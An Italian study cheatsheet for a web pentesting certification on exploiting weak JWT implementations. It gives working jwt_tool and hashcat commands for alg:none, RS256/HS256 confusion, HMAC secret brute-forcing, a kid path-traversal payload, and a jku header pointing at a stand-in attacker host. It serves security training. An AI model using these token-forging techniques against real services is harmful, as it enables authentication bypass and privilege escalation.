← Tutti i cheatsheet

eWPT · Authentication & Authorization

JWT Exploitation

Difficoltà: Advanced Time to Master: 2.5h Prerequisiti: 05-Credential-Attacks.md Lab: PortSwigger Academy, modulo JWT attacks


Obiettivo

Un JWT sembra sicuro perché “è firmato”, ma la firma protegge solo quello che il server verifica davvero — e sono sorprendentemente tante le implementazioni che la verificano male o non la verificano affatto. Qui vedi come identificare e sfruttare queste implementazioni deboli: algoritmo “none”, chiave debole/nota, header manipolabili (kid, jku), per forgiare token con privilegi arbitrari.


Concetti chiave

Struttura di un JWT

HEADER.PAYLOAD.SIGNATURE
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature_qui

Header e payload sono solo Base64URL (NON cifrati, chiunque può leggerli/decodificarli); solo la signature garantisce l’integrità: se puoi forgiare una signature valida, controlli completamente il contenuto.

Vulnerabilità comuni

Vulnerabilità Descrizione
alg: none il server accetta token senza firma
Confusione RS256/HS256 usa la chiave pubblica RSA come segreto HMAC
Secret debole/prevedibile bruteforce del segreto HMAC con wordlist
kid manipolabile path traversal/injection nel campo che indica la chiave da usare
jku/x5u manipolabile il server scarica la chiave di verifica da un URL controllato dall’attaccante

Strumenti

Tool Comando base Output Note
jwt_tool python3 jwt_tool.py TOKEN analisi + attacchi automatici tool dedicato completo
jwt.io incolla token decodifica visuale debug rapido manuale
hashcat hashcat -m 16500 token.txt wordlist.txt bruteforce segreto HMAC offline, veloce su GPU

Payload / Esempi

Esempio 1: attacco alg:none

python3 jwt_tool.py TOKEN -X a

Manualmente:

1. Decodifica header e payload (base64url)
2. Modifica header: {"alg":"none","typ":"JWT"}
3. Modifica payload a piacere: {"user":"admin","role":"admin"}
4. Ricostruisci il token SENZA signature: HEADER.PAYLOAD.
   (nota il punto finale, signature vuota)

Spiegazione: alcune librerie JWT mal configurate accettano alg: none come valido, bypassando completamente la verifica della firma.

Esempio 2: confusione algoritmo RS256 -> HS256

python3 jwt_tool.py TOKEN -X k -pk public_key.pem

Spiegazione: se il server usa RS256 (chiave pubblica/privata) ma la libreria di verifica non distingue correttamente l’algoritmo dichiarato nell’header, puoi firmare un token con HS256 usando la CHIAVE PUBBLICA (nota, spesso recuperabile) come segreto HMAC: il server la userebbe per “verificare” con lo stesso algoritmo simmetrico, validando il tuo token forgiato.

Esempio 3: bruteforce del segreto HMAC

hashcat -m 16500 token.txt /usr/share/wordlists/rockyou.txt
jwt_tool.py TOKEN -C -d wordlist.txt

Spiegazione: se il segreto HMAC è debole (es. “secret”, “123456”), un bruteforce offline lo trova rapidamente, permettendo poi di firmare token arbitrari validi.

Esempio 4: manipolazione kid per path traversal / SQLi

python3 jwt_tool.py TOKEN -I -hc kid -hv "../../../../dev/null" -S hs256 -p ""

Spiegazione: se il campo kid nell’header indica un path file da cui leggere la chiave, puntarlo a /dev/null (chiave vuota nota) permette di firmare token con una chiave conosciuta.

Esempio 5: manipolazione jku (JWK Set URL)

Header modificato: {"alg":"RS256","jku":"http://attacker.com/jwks.json"}

Su attacker.com/jwks.json ospiti una coppia di chiavi generata da te; se il server scarica ciecamente la chiave pubblica da quell’URL per verificare la firma, puoi firmare token con la TUA chiave privata corrispondente.


Evasion / Bypass Techniques

Questo file copre già le tecniche principali di attacco/bypass JWT. Combina sempre jwt_tool.py -M pb (playbook mode) per testare automaticamente tutti gli scenari noti su un token dato.

python3 jwt_tool.py TOKEN -M pb

Lab Hands-On

Lab 1: PortSwigger, JWT authentication bypass via unverified signature

Obiettivo: forgiare un token con ruolo admin Difficulty: Difficile Time: 1h

Walkthrough breve:

  1. Decodifica il token e identifica algoritmo/claim
  2. Prova alg:none, poi confusione RS256/HS256
  3. Forgia il token con privilegi elevati e riusalo

Common Mistakes

  • Non decodificare mai il payload prima di attaccare -> a volte i claim ti dicono già tutto quello che ti serve (ruoli, scadenza)
  • Dimenticare il punto finale nel token alg:none (HEADER.PAYLOAD.) -> alcune implementazioni lo richiedono per parsing corretto, e un token che sembra corretto ma non lo è ti fa perdere tempo a cercare il problema altrove
  • Provare solo un attacco e fermarsi -> usa sempre la playbook mode di jwt_tool per coprire sistematicamente tutti gli scenari, invece di scoprirli uno a uno a mano


Connessioni


Checklist di padronanza

  • So decodificare un JWT manualmente
  • So eseguire attacco alg:none
  • So eseguire confusione RS256/HS256
  • So usare jwt_tool in playbook mode